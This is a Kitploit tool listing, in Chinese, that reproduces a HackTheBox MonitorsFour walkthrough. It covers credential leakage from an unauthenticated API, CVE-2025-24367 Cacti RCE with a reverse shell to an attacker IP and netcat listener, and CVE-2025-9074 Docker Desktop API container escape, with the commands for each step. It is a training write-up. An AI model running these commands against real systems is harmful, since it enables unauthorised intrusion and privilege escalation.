Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
monitorsfour — HackTheBox MonitorsFour 演练,涵盖凭据泄露、CVE-2025-24367 Cacti RCE 以及 CVE-2025-9074 Docker Desktop API 容器逃逸至 root。 | Kitploit
工具/GitHubGitHub/ledksv/monitorsfour
密码破解侦察漏洞分析漏洞利用Web应用程序漏洞利用后渗透利用CTF渗透测试学习与教育容器逃逸
GitHubledksv/monitorsfour

monitorsfour

HackTheBox MonitorsFour 演练,涵盖凭据泄露、CVE-2025-24367 Cacti RCE 以及 CVE-2025-9074 Docker Desktop API 容器逃逸至 root。

3个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

MonitorsFour — HackTheBox

平台: HackTheBox 操作系统: Windows 状态:已退役 — 完整演练已发布。

完整演练: l3dsec.com/walkthroughs/monitorsfour-htb


攻击链

root@kitploit:~
Nmap → nginx (80) + WinRM (5985)
  → ffuf → cacti.monitorsfour.htb (Cacti)
    → 未认证 API 端点 → 凭据
      → CVE-2025-24367 Cacti RCE → www-data 权限 shell (Docker)
        → CVE-2025-9074 Docker Desktop API (192.168.65.x:2375)
          → 挂载宿主机文件系统 → root flag

1. 枚举

root@kitploit:~
nmap -sV -sC <TARGET_IP>
nmap -sV -sC <TARGET_IP> -p-
root@kitploit:~
PORT     STATE SERVICE       VERSION
80/tcp   open  http          nginx
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)

虚拟主机模糊测试发现了 cacti.monitorsfour.htb — 一个 Cacti 网络监控实例。


2. 凭据发现

主域名上的未认证 API 端点暴露了用户账户数据,包括 MD5 密码哈希:

root@kitploit:~
curl -s "http://monitorsfour.htb/user?token=0"

MD5 哈希被立即破解 — 获得了 Cacti 的有效凭据。


3. 初始立足点 — CVE-2025-24367 (Cacti 认证后 RCE)

Cacti 实例存在通过 Graph Template 功能触发的认证后 RCE 漏洞:

root@kitploit:~
nc -lvnp 9001

sudo python3 exploit.py \
  -url http://cacti.monitorsfour.htb \
  -u marcus \
  -p <password> \
  -i <ATTACKER_IP> \
  -l 9001

在 Docker 容器内获得 www-data 权限的 shell。用户 flag 位于 /home/marcus/user.txt。


4. 容器逃逸 — CVE-2025-9074 (Docker Desktop API)

Docker socket 未挂载。Docker Desktop 在内部 192.168.65.0/24 子网上未认证地暴露了其 Engine API:

root@kitploit:~
# 扫描开放的 Docker API
for i in $(seq 1 254); do
  (curl -s --connect-timeout 1 http://192.168.65.$i:2375/version 2>/dev/null \
    | grep -q "ApiVersion" && echo "192.168.65.$i:2375 OPEN") &
done; wait

通过该 API 创建了一个容器,挂载了宿主机的 C:\ 驱动器,然后从 C:sers\Administrator\Desktop oot.txt 读取了 root flag。


Flags

FlagValue
Userredacted
Rootredacted

仅供教育目的使用。仅测试您拥有或已获得明确书面许可进行测试的系统。

下载工具